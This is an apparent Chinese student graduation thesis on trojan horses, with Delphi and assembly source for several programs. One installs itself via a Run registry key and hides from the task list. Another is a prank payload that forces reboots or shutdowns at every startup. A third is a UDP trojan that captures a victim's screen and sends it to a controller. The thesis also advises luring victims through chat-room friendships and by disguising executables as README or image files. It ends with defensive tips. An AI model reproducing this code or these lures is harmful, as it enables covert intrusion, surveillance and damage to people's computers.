壹、問題的提出
"The Internet is now more like an unlocked diary,with millions of consumers divulging marketable details of their personal lives,from where they live to what they eat for dinner."這是著名匿名服務器站點Anonymizer上曾有過的壹段話。是的,在不知不覺中,E時代已經到來,網絡給我們的生活增添了絢麗與多彩。但是,在這五彩繽紛的世界下面,潛伏著壹股黑潮暗流--黑客(HACKER)。這個名詞越來越引起世人的關註,而且影響越來越大,關於黑客事件的報道也越來越多。黑客是伴隨網絡產生成長的,是指那些對電腦和網絡有狂熱興趣的人,他們不斷的研究電腦和網絡知識,發現電腦和網絡中的漏洞,喜歡挑戰高難度的網絡系統,千方百計的尋找網絡中的大小漏洞,然後向網絡管理員提出解決漏洞的建議。真正的黑客大多是賦有正義感的。他們不會惡意侵入他人系統,並且破壞系統程序和數據。但有壹些人特別崇拜黑客,喜歡利用電腦網絡四處搗亂,到處尋找黑客軟件,然後到處搞破壞,這類人應該是網絡上最危險的家夥。現在的媒體把這類人是黑客混為壹談,"黑客"壹詞也因此成了貶義詞。
現在的黑客軟件十分多,Back Orific、冰河、YAI到處都有。接觸網絡後,我經常想:黑客軟件到底是如何編制的?我能編壹個黑客軟件多好呀!這到不是想幹壞事,因為在網絡機房上課時,用壹些黑客軟件可以作為控制工具來控制學員的機器(如:冰河)。可見黑客軟件本身不象病毒是個不好的東西,是可以用在正路上的。經過我的摸索,初步掌握了壹些設計方法,主要是特洛伊木馬程序。本次畢業設計,我設計壹個模擬黑客入侵程序,壹個惡作劇程序,壹個可以截獲網絡上別人在機器上幹些什麽的程序,幾個程序純屬用於實驗,沒有什麽其它目的。在這裏向各位老師匯報壹下。程序設計的語言用的是PASCAL,用DELPHI 4進行編譯。
二、"特洛伊木馬"如何入侵系統
壹個完整的"特洛伊木馬"壹般分為兩個部分:壹個是客戶服務程序(Client),用它來控制已經打開"後門"的機器;另壹個是"後門"程序,用它來開放某臺機器。假設我們想控制某臺電腦,那麽我們通過壹些手段來把"後門"程序傳到該電腦中並使其運行,這樣該電腦就變成了壹臺特殊的FTP服務器。然後我們使用Client程序就可以控制該電腦了。當然,後門程序如果不運行也就無法發揮作用。因此,就要"誘騙"別人使用後門程序。如果是朋友或熟人,利用他們的信任讓他運行就行了;要是陌生人,可以在聊天室中和他們套近乎,壹旦取得信任,把程序發給他們,誘騙其運行。當然,程序要隱蔽壹些,例如可以把後門程序改名,變為README之類,或改變後綴,變成GIF、BMP等,當他們雙擊這些文件後就上了"賊船"了。也可以用WINZIP的把後門程序和壹些東西制作成壹個自解壓包,然後利用設定解壓後自動運行SETUP程序功能來運行指定的後門程序。總之,要利用壹切手段使人家運行後門程序。
木馬程序運行後,會通過不同的方式修改系統,以便以後啟動系統後自動運行木馬。修改方法壹般是通過修改註冊表:
Hkey_local_machine \Software\Microsoft\Windows\CurrentVersion\Run和
Hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\RunServices中的項目是在系統開機時自動加載的,我們可以在這兩添加鍵值,達到自動啟動的目的。以下的這段代碼可以修改註冊表,並調用API函數判斷系統目錄,復制文件到其下,以實行入侵系統的目的:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls,registry;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
regf:tregistry;
sysdir:pchar;
temp:string;
begin
getmem(sysdir,256);
getsystemdirectory(sysdir,128);
temp:=sysdir+'\client.exe';
freemem(sysdir,256);
regf:=tregistry.create;
regf.rootkey:=hkey_local_machine;
regf.openkey('software\microsoft\windows\currentversion\run',true);
regf.writestring(' ',temp);
regf.free;
copyfile(pchar('hacker.exe'),pchar(temp),true);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
close;
end;
end.
也有些高明的程序可以感染系統文件,附著在這些程序文件中,以達到其目的。我還沒有搞清楚這是怎樣辦到的。
在Windows中按下Ctrl+Alt+Del可以顯示當前運行的程序,這樣壹來,我們的木馬程序不是要露餡了嗎?以下這段匯編代碼可以很方便的嵌入DELPHI或C++中,讓別人看不到妳的程序,可以很好的隱藏:
asm
mov ebx,30h
push es
push fs
pop es
mov ebx,es:[ebx]
pop es
mov eax,10800000h
xchg [ebx+20h],eax
end;
為什麽這段匯編代碼可以隱藏程序呢?據資料分析:在WINDOWS 9X加載應用程序時,FS指向的段就是類似於DOS應用程序的PSP,裏面保存著壹些有關應用程序重要數據,按下Ctrl+Alt+Del後,對於壹個應用程序,若沒有可顯示的ENABLE窗口的名字,則系統要檢查上面程序段中的特定雙字是不是10800000h,如果是就不顯示這個應用程序的可執行文件的名字。
下面是壹個惡作劇的程序,入侵計算機後,每次開機後,隨機出現鼠標亂跑並發出怪叫、熱啟動、強行關機的現象,讓妳無法進入WINDOWS 9X。對於壹般的計算機用戶來說,因為找不出這個程序在何處,所以只能格式化系統區,重新安裝系統。
program hacker;
uses
windows;
var temp:integer;
begin
asm
mov ebx,30h
push es
push fs
pop es
mov ebx,es:[ebx]
pop es
mov eax,10800000h
xchg [ebx+20h],eax
end;
randomize;
temp:=random(3);
if temp=0 then
while(true) do
begin
messagebeep(0);
SetCursorPos (random(640),random(480));
end
else if temp=1 then
ExitWindowsEx(EWX_REBOOT,0)
else ExitWindowsEx(EWX_SHUTDOWN,0);
end.
有的木馬為了防止發現後被清除,在啟動時會產生壹個備份,壹般是感染WINDOWS的系統文件,當木馬被發現並清除後,備份會自動激活,使妳依然處於遠程黑手的控制。比如當前國最盛行的"冰河",首先會修改註冊表的啟動項目,將自己復制兩份到系統中,分別為KERNEL32.EXE和SYSEXPLE.EXE,並且修改TXT文件的打開方式,壹旦KERNEL32.EXE被刪除,那麽當打開壹個TXT文件時,SYSEXPLE.EXE將再產生壹個KERNEL32.EXE文件。
另外,有的木馬還能在運行後修改文件名,或者復制感染系統後,進行自我銷毀,使用戶很難進行查找。
三、木馬的種類
1、破壞型
惟壹的功能就是破壞並且刪除文件,可以自動的刪除電腦上的DLL、INI、EXE文件。
2、密碼發送型
可以找到隱藏密碼並把它們發送到指定的信箱。有人喜歡把自己的各種密碼以文件的形式存放在計算機中,認為這樣方便;還有人喜歡用WINDOWS提供的密碼記憶功能,這樣就可以不必每次都輸入密碼了。許多黑客軟件可以尋找到這些文件,把它們送到黑客手中。也有些黑客軟件長期潛伏,記錄操作者的鍵盤操作,從中尋找有用的密碼。
在這裏提醒壹下,不要認為自己在文檔中加了密碼而把重要的保密文件存在公用計算機中,那妳就大錯特錯了。別有用心的人完全可以用窮舉法暴力破譯妳的密碼。利用WINDOWS API函數EnumWindows和EnumChildWindows對當前運行的所有程序的所有窗口(包括控件)進行遍歷,通過窗口標題查找密碼輸入和出確認重新輸入窗口,通過按鈕標題查找我們應該單擊的按鈕,通過ES_PASSWORD查找我們需要鍵入的密碼窗口。向密碼輸入窗口發送WM_SETTEXT消息模擬輸入密碼,向按鈕窗口發送WM_COMMAND消息模擬單擊。在破解過程中,把密碼保存在壹個文件中,以便在下壹個序列的密碼再次進行窮舉或多部機器同時進行分工窮舉,直到找到密碼為止。此類程序在黑客網站上唾手可得,精通程序設計的人,完全可以自編壹個。
3、遠程訪問型
最廣泛的是特洛伊馬,只需有人運行了服務端程序,如果客戶知道了服務端的IP地址,就可以實現遠程控制。以下的程序可以實現觀察"受害者"正在幹什麽,當然這個程序完全可以用在正道上的,比如監視學生機的操作。
程序中用的UDP(User Datagram Protocol,用戶報文協議)是因特網上廣泛采用的通信協議之壹。與TCP協議不同,它是壹種非連接的傳輸協議,沒有確認機制,可靠性不如TCP,但它的效率卻比TCP高,用於遠程屏幕監視還是比較適合的。它不區分服務器端和客戶端,只區分發送端和接收端,編程上較為簡單,故選用了UDP協議。本程序中用了DELPHI提供的TNMUDP控件。
受控機程序部分:
讓控件CUDP監視受控機的1111端口,當有數據發送到該口時,觸發控件CUDP的ONDATARECEIVED事件;REMOTEPORT屬性設為2222,當控件CUDP發送數據時,將數據發送到主控機的2222口。
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
NMUDP, ComCtrls;
type
Tclient = class(TForm)
cudp: TNMUDP;
Animate1: TAnimate;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure cudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
private
{ Private declarations }
public
{ Public declarations }
end;
var
client: Tclient;
implementation
const bufsize=2048;//發送每壹批數據的緩沖區大小
var
bmpstream:tmemorystream;
leftsize:longint;
{$R *.DFM}
procedure screencap(leftpos,toppos,rightpos,bottompos:integer);
var
recwidth,recheight:integer;
sourcedc,destdc,bhandle:integer;
bitmap:Tbitmap;
begin
recwidth:=rightpos-leftpos;
recheight:=bottompos-toppos;
sourcedc:=createdc('display','','',nil);
destdc:=createcompatibledc(sourcedc);
bhandle:=createcompatiblebitmap(sourcedc,recwidth,recheight);
selectobject(destdc,bhandle);
bitblt(destdc,0,0,recwidth,recheight,sourcedc,leftpos,toppos,srccopy);
bitmap:=tbitmap.Create;
bitmap.Handle:=bhandle;
bitmap.SaveToStream(bmpstream);
bmpstream.Position:=0;
leftsize:=bmpstream.Size;
bitmap.Free;
deletedc(destdc);
releasedc(bhandle,sourcedc);
end;
procedure Tclient.FormCreate(Sender: TObject);
begin
bmpstream:=tmemorystream.create;
end;
procedure Tclient.FormDestroy(Sender: TObject);
begin
bmpstream.free;
end;
procedure Tclient.cudpDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
ctrlcode:array[0..29] of char;
buf:array[0..bufsize-1] of char;
tmpstr:string;
sendsize,leftpos,toppos,rightpos,bottompos:integer;
begin
cudp.ReadBuffer(ctrlcode,numberbytes);//讀取控制碼
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]='show'
then
begin//控制碼前4位為"SHOW"表示主控機發出了截屏指令
if bmpstream.Size=0 then//沒有數據可發,必須截屏生成數據
begin tmpstr:=strpas(ctrlcode);
tmpstr:=copy(tmpstr,5,length(tmpstr)-4);
leftpos:=strtoint(copy(tmpstr,1,pos(':',tmpstr)-1));
tmpstr:=copy(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));
toppos:=strtoint(copy(tmpstr,1,pos(':',tmpstr)-1));
tmpstr:=copy(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));
rightpos:=strtoint(copy(tmpstr,1,pos(':',tmpstr)-1));
bottompos:=strtoint(copy(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr)));
screencap(leftpos,toppos,rightpos,bottompos);//調用截屏函數
end;
if leftsize>bufsize then sendsize:=bufsize
else sendsize:=leftsize;
bmpstream.ReadBuffer(buf,sendsize);
leftsize:=leftsize-sendsize;
if leftsize=0 then bmpstream.Clear;
cudp.RemoteHost:=fromip;//FROMIP為主控機IP地址
cudp.SendBuffer(buf,sendsize);//將數據發到主控機的2222端口
end;
end;
end.
主控機程序部分:
讓控件SUDP監視主控機的2222端口,當有數據發送到該口時,觸發SUDP的ONDATARECEIVED事件;REMOTEPORT屬性設為1111,當控件SUDP發送數據時,將數據發到受控機的1111口。
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls, Buttons, NMUDP;
type
Tsever = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Label1: TLabel;
Label2: TLabel;
BitBtn1: TBitBtn;
Image1: TImage;
BitBtn2: TBitBtn;
sudp: TNMUDP;
procedure BitBtn2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure BitBtn1Click(Sender: TObject);
procedure sudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
private
{ Private declarations }
public
{ Public declarations }
end;
var
sever: Tsever;
implementation
const bufsize=2048;
var
rsltstream,tmpstream:tmemorystream;
{$R *.DFM}
procedure Tsever.BitBtn2Click(Sender: TObject);
begin
close;
end;
procedure Tsever.FormCreate(Sender: TObject);
begin
rsltstream:=tmemorystream.create;
tmpstream:=tmemorystream.create;
end;
procedure Tsever.FormDestroy(Sender: TObject);
begin
rsltstream.free;
tmpstream.free;
end;
procedure Tsever.BitBtn1Click(Sender: TObject);
var
reqcode:array[0..29] of char;
reqcodestr:string;
begin
reqcodestr:='show'+edit1.text;
strpcopy(reqcode,reqcodestr);
tmpstream.Clear;
rsltstream.Clear;
sudp.RemoteHost:=edit2.Text;
sudp.SendBuffer(reqcode,30);
end;
procedure Tsever.sudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
var reqcode:array[0..29] of char;
reqcodestr:string;
begin
reqcodestr:='show'+edit1.text;
strpcopy(reqcode,reqcodestr);
sudp.ReadStream(tmpstream);
rsltstream.CopyFrom(tmpstream,numberbytes);
if numberbytes<bufsize then
begin
rsltstream.Position:=0;
image1.Picture.Bitmap.LoadFromStream(rsltstream);
tmpstream.Clear;
rsltstream.Clear;
end
else
begin
tmpstream.Clear;
reqcode:='show';
sudp.RemoteHost:=edit2.Text;
sudp.SendBuffer(reqcode,30);
end;
end;
end.
四、如何預防黑客
黑客程序雖然破壞大,但不是不能防止的。
1、處理好妳的密碼
我們壹般是用賬號和密碼來上網的,密碼的設置無疑是十分講求技巧的,許多人的安全防範意識差,不註意密碼的設置,造成自己的賬號被盜用。如今的黑客軟件都是掛上密碼字典,然後用窮舉法進行破解,密碼太簡單,那麽破解的可能性就大了。以下是壹些註意事項。
⑴ 密碼不可和賬號相同,這是最容易被猜到的了。
⑵ 經常更改密碼,拿到新賬號後要立即更改密碼,不要放久了。
⑶ 密碼最好多於8個字符,字符越長,破解難度越大。例如WORD文檔的密碼大於8位後,目前的破解軟件幾乎無法攻破。另外,最好在密碼中加入壹些控制鍵,增加破譯難度。千萬不可用單壹的字母或數字。
⑷ 有人喜歡用自己的生日、電話、身份證號碼等作為密碼,妳不要這樣做。
⑸ 密碼盡量不要記顯眼的紙張上,更不能保存在計算機中,不要貪圖壹時方便,用WINDOWS提供的保存密碼功能。
2、不要運行不明真相的程序
無論都高明的黑客程序,只要妳不去運行它,就無法害到妳。所以,不可相信網友的話,不要去運行他提供的程序;不要隨意去打開別人寄來的附件,無論他把附件中的圖片或影片吹得如何好看;要到大的、著名的網站去下載軟件,千萬不要到不明真象的個人網頁下載,因為在那兒妳可能下載的病毒和黑客之手;如果妳十分羨慕黑客,也請妳不要下載所謂的黑客軟件,否則妳沒害到別人,自己反被害了;如果妳的機器上有防火墻,在上網時壹定要打開,不要怕麻煩。
3、經常檢查系統信息
上網過程中,突然覺得計算機工作不對勁時,仿佛感覺有人在遙遠的地方遙控妳。這時,妳必須及時停止手中工作,運行"附件→系統工具→系統信息",在任務列表中尋找自己不熟悉的或者自己並沒有運行的程序,壹旦找到程序後應立即終止它的運行,以防後患。
4、最好不去聊天室
我壹直認為聊天室沒有什麽意思,特別對於計算機專業人員,聊天只是浪費時間和金錢,有些惡意的破壞者利用網上聊天室的漏洞幹壞事,例如聊天室支持JAVA、HTML等功能,然而,這小小的JAVA也隱藏"殺機",他可以發給妳壹個足以讓妳的機器當機的HTML語句。因為這些語句是不會在聊天室顯示出來的,所以妳被暗算了可能還不知道。防治的辦法是在妳的瀏覽器中關閉妳的JAVA腳本。想聊天的,在公***機房聊聊算了,不能在自己的機器上聊天。